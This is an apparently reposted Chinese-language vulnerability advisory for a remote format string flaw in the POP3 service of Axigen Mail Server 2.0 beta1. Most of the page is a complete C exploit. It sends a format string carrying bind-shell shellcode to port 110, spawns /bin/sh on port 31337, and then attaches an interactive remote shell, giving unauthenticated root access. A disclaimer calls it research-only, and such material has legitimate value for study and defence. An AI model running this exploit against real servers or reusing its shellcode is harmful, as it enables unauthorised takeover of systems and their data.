Axigen POP3服务远程格式字符串漏洞
信息来源:fuGich 发表日期:2014-01-01 11:06:00
Axigen Mail Server是一款小型的邮件服务器。
Axigen 2.0.0-beta1没有正确过滤用户提供的输入,即用在格式化打印函数的格式指示符参数内,在实现上存在远程格式字符串漏洞,成功利用后可使未经身份验证的远程攻击者用超级用户的权限执行任意代码。
BUGTRAQ-ID:22603
受影响系统:
Axigen Mail Server 2.0 -beta1
测试方法:
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!/* axiagen.c
*
* Axigen eMail Server v2.0 (beta)
* by fuGich Tue Dec 5 2006
*
* thanks to mu-b
*
* - Tested on: Axigen V2 (beta)
*
* logType for the pop3 service must be "system" and
* the logLevel set to any number with 4th bit set
*
* remote shell format string vulnerability in pop3
* /bin/sh to bind to port 31337
*
* optimised format string generated with libforSC
* used hhn for writes, could have been hn\'s but this was small enough and reduces size of log entry generated
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#define DEF_PORT 110
#define PORT_POP3 DEF_PORT
char formatString[] =
// plt fixup code
"\\xba\\xd8\\xbe\\x85\\x09" // mov $0x985bed8,%edx
"\\xc7\\x02\\x9a\\xf0\\x04\\x08" // movl $0x804f09a,(%edx)
"\\x8d\\x52\\x04" // lea 0x4(%edx),%edx
"\\xc6\\x02\\xaa" // movb $0xaa,(%edx)
"\\x90\\x90\\x90" // make divisible by 8
//
// bind shell with fork to port 31337 98 bytes
//
"\\x6a\\x66" // push $0x66
"\\x58" // pop %eax
"\\x99" // cltd
"\\x6a\\x01" // push $0x1
"\\x5b" // pop %ebx
"\\x52" // push %edx
"\\x53" // push %ebx
"\\x6a\\x02" // push $0x2
//
// <_doint>:
//
"\\x89\\xe1" // mov %esp,%ecx
"\\xcd\\x80" // int $0x80
"\\x5b" // pop %ebx
"\\x5d" // pop %ebp
"\\x52" // push %edx
"\\x66\\xbd\\x69\\x7a" // mov $0x7a69,%bp (0x7a69 = 31337)
"\\x0f\\xcd" // bswap %ebp
"\\x09\\xdd" // or %ebx,%ebp
"\\x55" // push %ebp
"\\x6a\\x10" // push $0x10
"\\x51" // push %ecx
"\\x50" // push %eax
"\\x89\\xe1" // mov %esp,%ecx
"\\xb0\\x66" // mov $0x66,%al
"\\xcd\\x80" // int $0x80
"\\xb3\\x04" // mov $0x4,%bl
"\\xb0\\x66" // mov $0x66,%al
"\\xcd\\x80" // int $0x80
//
// <_acceptloop>:
//
"\\x5f" // pop %edi
"\\x50" // push %eax
"\\x50" // push %eax
"\\x57" // push %edi
"\\x89\\xe1" // mov %esp,%ecx
"\\x43" // inc %ebx
"\\xb0\\x66" // mov $0x66,%al
"\\xcd\\x80" // int $0x80
"\\x93" // xchg %eax,%ebx
"\\xb0\\x02" // mov $0x2,%al
"\\xcd\\x80" // int $0x80
"\\x85\\xc0" // test %eax,%eax
"\\x75\\x1a" // jne <_parent>
"\\x59" // pop %ecx
//
// <_dup2loop>:
//
"\\xb0\\x3f" // mov $0x3f,%al
"\\xcd\\x80" // int $0x80
"\\x49" // dec %ecx
"\\x79\\xf9" // jns <_dup2loop>
"\\xb0\\x0b" // mov $0xb,%al
"\\x68\\x2f\\x2f\\x73\\x68" // push $0x68732f2f
"\\x68\\x2f\\x62\\x69\\x6e" // push $0x6e69622f
"\\x89\\xe3" // mov %esp,%ebx
"\\x52" // push %edx
"\\x53" // push %ebx
"\\xeb\\xb2" // jmp <_doint>
//
// <_parent>:
//
"\\x6a\\x06" // push $0x6
"\\x58" // pop %eax
"\\xcd\\x80" // int $0x80
"\\xb3\\x04" // mov $0x4,%bl
"\\xeb\\xc9" // jmp <_acceptloop>
//
// 9 write addresses
//
"\\xd8\\xbe\\x85\\x09" // pointer @ 0x0985bed8
"\\xd9\\xbe\\x85\\x09"
"\\xda\\xbe\\x85\\x09"
"\\xdb\\xbe\\x85\\x09"
"\\xe0\\xbe\\x85\\x09" // place shell code @ 0x0985bee0
"\\xe1\\xbe\\x85\\x09"
"\\xe2\\xbe\\x85\\x09"
"\\xe3\\xbe\\x85\\x09"
"\\xe4\\xbe\\x85\\x09"
// add the format string
"%18u%66$n%34u%65$hhn%31u%72$hhn%10u%68$hhn%31u%71$hhn%87u%70$hhn%14u%69$hhn%90u%73$hhn%158u%67$hhn\\r\\n";
static int sock_send (int sock, u_char * src, int len);
static void formatme (u_char * host);
static int sockami (u_char * host, int port);
void shell (int sock);
void shell (int sock){ /* Attach to Remote Shell */
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\\n - Connection closed by local user\\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\\n - Connection closed by remote host.\\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\\n - Read failure\\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
static int sock_send (int sock, u_char * src, int len){ /* send data to the open socket */
int sbytes;
sbytes = send (sock, src, len, 0);
return (sbytes);
}
static int sockami (u_char * host, int port){ /* create the socket */
struct sockaddr_in address;
struct hostent *hp;
int sock;
fflush (stdout);
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1){
perror ("socket()");
exit (-1);
}
if ((hp = gethostbyname (host)) == NULL){
perror ("gethostbyname()");
exit (-1);
}
memset (&address, 0, sizeof (address));
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1){
perror ("connect()");
exit (EXIT_FAILURE);
}
return (sock);
}
static void formatme (u_char * host){ /* do the evil */
int sock;
printf ("+Connecting to %s:%d ", host, PORT_POP3);
sock = sockami (host, PORT_POP3);
printf ("\\n+Sending format string\\n");
sock_send (sock, formatString, strlen (formatString));
fflush (stdout);
sleep(2);
printf ("+Connecting to Shell ");
sock = sockami (host, 31337);
printf ("- Done\\n");
shell(sock);
}
int main (int argc, char **argv){ /* go figure */
printf ("Axigen 2.0 beta Remote pop3 exploit\\n"
"by: <fuGich@gmail.com>\\n\\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <host>\\n\\n", argv[0]);
exit (EXIT_SUCCESS);
}
formatme (argv[1]);
}
解决办法:
厂商补丁:
Axigen
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.axigen.com/
参考信息:
http://osvdb.org/show/osvdb/33166